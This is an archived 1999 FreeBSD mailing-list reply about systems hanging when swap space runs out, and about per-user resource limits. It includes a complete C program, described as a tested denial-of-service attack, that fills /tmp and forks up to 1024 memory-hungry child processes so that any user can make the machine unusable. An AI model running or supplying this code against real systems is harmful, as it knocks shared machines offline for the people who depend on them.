Skip site navigation (1)Skip section navigation (2)
Date:      Thu, 25 Mar 1999 20:49:14 +1000
From:      Greg Black <gjb@comkey.com.au>
To:        Konrad Heuer <kheuer@gwdu60.gwdg.de>
Cc:        "Scott I. Remick" <scott@computeralt.com>, FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject:   Re: Out of Swap Space hangs system 
Message-ID:  <19990325104914.23792.qmail@alpha.comkey.com.au>
In-Reply-To: <Pine.BSF.4.05.9903241014490.78968-100000@gwdu60.gwdg.de>  of Wed, 24 Mar 1999 10:30:53 %2B0100
References:  <Pine.BSF.4.05.9903241014490.78968-100000@gwdu60.gwdg.de> 

next in thread | previous in thread | raw e-mail | index | archive | help
> > > > Is it normal for running out of swap space to hang the system?
> > >
> > > Unfortunately, yes.
> >
> > Right, so far.
> >
> > > It should not be, especially for a server OS.
> >
> > By all means provide an algorithm to solve it, if it concerns
> > you.  I think you'll find it's non-trivial.
>
> You're right, no doubt; it's not trivial. And the problem will not prevent
> me from using and recommending FreeBSD.

Since all Unix variants are susceptible to this, there would be
little point in singling out any particault variant to avoid.

> > It's not a serious problem -- a properly setup Unix system will never
> > crash from lack of swap.  I've been running Unix machines for the best
> > part of 20 years and never seen a panic from lack of swap.  Some of
> > those machines had 0.5 MB of RAM and a single 50 MB disk, supported
> > several users in a commercial environment and only ever fell over when
> > somebody yanked the power cord.
> 
> None of my FreeBSD systems crashed because of lack of swap in normal
> operation mode. But in principle it's easy to crash them as an
> unprivileged user. Just write a piece of C code which allocates m MB of
> memory, forks p times and writes to allocated memory in each process. Will
> m times p fit into the total virtual memory? Maybe, if you set rigorous
> per-process limits. But if you do, you might also prevent users from doing
> reasonable tasks. Or have I overlooked something?

It all depends on your definition of reasonable and on who your
users are.  If they're people who might delight in bringing a
machine to its knees, then they need limits.  If they are sane
and responsible and their work requires them to have a fair
crack at the machine's resources, then they don't need limits.

You are correct in your scenario for wrecking a machine.  The
following code, run by a normal user on a Celeron-300A box with
64 MB of memory, a 64 MB /tmp MFS, and 256 MB of swap rendered
the machine (a sacrificial box I keep for these stunts) useless
in less than a second.  You could still ping it normally for
about ten minutes and it never crashed but it could only be
rescued by the reset button.  Possibly, if I had the kernel
debugger installed or had enabled keyboard reboots, there might
have been another way out, but I can't be bothered exploring
that.  At any rate, look at this code for a perfect denial of
service attack (tested and guaranteed):

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

#define	MB	(1024 * 1024)

int main(void)
{
  int	i, j, k, fd;
  char	*p;

  /* Start off by filling /tmp in case it's an MFS, assume 1 GB is enough. */
  if ((fd = open("/tmp/xxx", O_CREAT | O_WRONLY, 0600)) < 0)
    return 1;
  if ((p = malloc(MB)) == NULL)
    return 1;
  for (i = 0; i < 1024; ++i)
    if (write(fd, p, MB) < MB)
      break;

  /* Fork up to 1 K children who will allocate and use between 1 and 64 MB */
  for (i = 0; i < 1024; ++i)
    switch (fork()) {
      case 0:
	for (j = 64; j > 0 && (p = malloc(j * MB)) == NULL; j /= 2)
	  ;
	for (k = 0; k < j * MB; ++k)
	  p[k] = k & 0x7F;
	return j ? 0 : 1;
      case -1:
	return 1;
      default:
	break;
    }
  
  /* We'll never get here, but let's pretend... */
  return 0;
}

It's just possible that there's some trivial bug in the above,
since I typed it from memory after testing the original code
which was on the MFS of the box I used for the test.  But I
think I got it right :-)

So how does this sit with my claim that properly setup Unix
boxes never crash from lack of swap?  (Let's ignore the
technicality that this machine didn't really crash, since it
might as well have for all the use it was.)  The key words are
"properly setup" -- and "proper" setup includes correct
assessment of the kinds of users and the type of use they make
as well as allocation of adequate resources to ensure that the
machine won't fail to perform as required.  So, although I know
how to bring a machine to its knees, I'd never do it by accident
and my users either have restrictions that prevent them from
doing it or have enough sense not to try.

In the end, no system is immune from dedicated efforts to bring
it down, provided those making the efforts have adequate access
to its resources and sufficient know-how to carry out the task.
This doesn't mean that reasonably-designed systems will be
falling over every day because of flaws in their design.

-- 
Greg Black <gjb@acm.org>



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19990325104914.23792.qmail>